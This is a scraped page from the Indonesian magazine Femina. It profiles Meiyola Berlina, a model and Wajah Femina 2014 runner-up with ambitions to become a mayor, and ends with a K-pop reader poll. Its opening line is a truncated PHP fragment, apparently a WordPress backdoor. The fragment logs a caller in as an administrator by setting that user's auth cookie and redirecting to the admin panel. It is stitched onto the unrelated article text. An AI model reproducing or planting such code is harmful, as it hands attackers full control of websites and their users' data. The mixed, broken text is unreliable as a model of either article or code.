user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Celebrity
Calon Walikota

3 Feb 2015


Berdiri di atas panggung, mengenakan selempang bertuliskan ‘Best Catwalk Wajah Femina 2014’, sembari memegang piala dan bunga, Meiyola Berlina terlihat bingung sekaligus tidak percaya saat Michelle Sow, Pemenang III Wajah Femina 2013, menyebutkan namanya sebagai Pemenang III Wajah Femina 2014.

“Jujur, saya tidak terpikir akan memperoleh dua gelar sekaligus. Apalagi waktu geladi bersih, kami tidak diajari bagaimana posisi yang benar jika mendapat dua gelar,” katanya, sambil tertawa, mengingat kejadian malam final Wajah Femina 2014 yang berlangsung awal Desember lalu.

“Padahal, saya sempat bercita-cita sebagai gubernur atau wali kota, lho. Makanya, saya mengambil kuliah  di jurusan administrasi negara,” kata lulusan Universitas Nasional Jakarta ini, sambil tersenyum.  

Gemas melihat infrastruktur fisik yang kurang memadai di daerah tempat tinggalnya di Cilegon, Banten, mengusik perhatian Meiyola. Sebagai kawasan industri dan salah satu akses menuju tempat wisata dan pelabuhan, masih banyak hal yang perlu dibenahi di kota asalnya. Apalagi lokasi daerah ini tidak begitu jauh dari Jakarta, seharusnya bisa mendapatkan fasilitas yang menyamai Jakarta.   

“Di Serang, Cilegon, Pandeglang, dan Rangkasbitung, banyak jalan-jalan yang rusak, fasilitas kesehatan dan pendidikan yang kurang memadai, dan masyarakat miskin sepertinya kurang mendapat perhatian. Saya jadi berandai-andai. Kalau saja saya bisa jadi wali kota atau gubernur, mungkin saya akan berusaha membereskan semua masalah ini,” ujar Yola, yakin.

Advertisement
Belum sempat memulai langkahnya menjadi birokrat, sang kakak, Beatrix Berlina, melihat potensi lain yang ada dalam diri Meiyola. Ia memaksa Yola mendaftar di ajang pemilihan sampul majalah ketika ia duduk di bangku SMA. Sempat merasa tidak percaya diri karena merasa tidak punya modal yang cukup di bidang modeling, wanita yang gemar berolahraga ini akhirnya menuruti saran sang kakak.

“Dialah yang sibuk menemani saya untuk membuat foto diri, mengirimkan seluruh persyaratan ke majalah. Dan ternyata… saya masuk menjadi finalis dan meraih juara satu,” ujarnya gembira, mengenang kemenangannya di pemilihan sampul majalah Aneka beberapa tahun silam.  

Sejak kemenangan tersebut, tawaran pemotretan untuk majalah dan model catwalk mulai berdatangan. Ia pun menata ulang arah perjalanan kariernya. Ia memutuskan menekuni dunia modeling. Dalam sebulan, setidaknya ia menjalani 3-4 kali show atau pemotretan.  Dalam dua-tiga tahun terakhir, ia berada satu panggung bersama model-model top Indonesia di sejumlah show, seperti Jakarta Fashion Week, Indonesia Fashion Week, Jakarta Fashion and Food Festival, Indonesia Islamic Fashion Fair, dan Bazaar Fashion Festival.  

“Saya juga mencoba melihat pemetaan diri saya dengan mengikuti beberapa kompetisi modeling. Syukurlah, saya selalu meraih juara,” ujar Yola, yang merasa Wajah Femina merupakan salah satu jenjang tertinggi dalam ajang pemilihan model yang pernah diikutinya. “Selain pengalaman dan menambah wawasan, Wajah Femina telah membuka kesempatan lebih lebar untuk berkarier di dunia hiburan,” tutur Yola.

RULLY LARASATI






 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?